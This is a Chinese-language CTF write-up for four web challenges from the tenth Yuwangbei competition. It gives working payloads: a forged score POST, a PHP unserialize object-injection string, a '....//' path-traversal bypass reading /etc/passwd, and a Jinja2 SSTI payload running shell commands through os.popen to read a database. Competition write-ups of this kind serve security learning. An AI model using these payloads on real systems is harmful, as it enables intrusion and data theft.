第十届御网杯CTF赛道-wp
简单的题简单的一批,难的题又抽象完了,还有虽然一个附件可解但是必须多拿几个附件总结规律才会解的题
WEB-Snake_Game
打开靶机,看到贪吃蛇游戏,需300分获flag,初始分数0
F12查看源码,checkWin(score)直接将客户端分数POST到index.php,服务端无任何校验
直接curl -X POST http://120.27.146.76:22226/index.php -d “score=300”
或者在burpsuite抓包校验分数的包改成300分服务端返回flag{9afd633154414519bd1569bfba021c7a}
WEB-PHP_payment
打开靶机,商城flag商品售价99999金币,初始余额仅20
审计附件源码:apply_coupon.php将Base64解码后直接unserialize(),无签名验证
models.php中PromoManager.__destruct()将promo_credit加到session余额
构造payload: O:12:”PromoManager”:2:{s:12:”promo_credit”;i:99999;s:10:”promo_code”;s:4:”test”;}
Base64编码后POST到/api/apply_coupon.php,余额变为99999+20
购买flag商品,虽然显示网络错误但是在返回包中发现flag{bef761af00a931b3acd2966011351248}

WEB-Enterprise_OA
打开靶机,页面通过?module=参数加载PHP模块,传入不含.php后缀的值触发Warning,泄露路径/var/www/html/index.php:30,确认include()直接包含用户输入
尝试../etc/passwd被过滤,测试多种绕过后发现str_replace(“../“,””,input)仅替换一次,非递归
利用….//绕过:输入….//….//….//….//etc/passwd,过滤后变为../../../../etc/passwd,成功读取
同样方式读取/flag.txt:?module=….//….//….//….//flag.txt,获取flag{ef1c939ee2b22402dc2e5f425094d2a4}

WEB-TaxSystem_SSTI
- 审计源码SRC.zip,发现
/preview/<id>路由使用render_template_string()渲染用户输入,但黑名单只检查custom_footer字段,year/income/deductions无过滤

登录admin:123456,通过/api/import将profile的state改为AUDIT_PENDING,year字段注入SSTI payload
Payload:
1
{{config.__class__.__init__.__globals__["os"].popen('python3 -c "import sqlite3;print(sqlite3.connect(\'/var/lib/sqlite/tax.db\').execute(\'select flag from config_flags limit 1\').fetchone()[0])"').read()}}
访问/preview/1触发render_template_string()执行Jinja2代码,flag输出在Tax Year字段。
获得flag:flag{a254d76b46619625320bd29d4a52e79f}

这个题也抽象完了,因为是公共靶机所以能直接看到别人打的payload
web题出的都蛮简单的







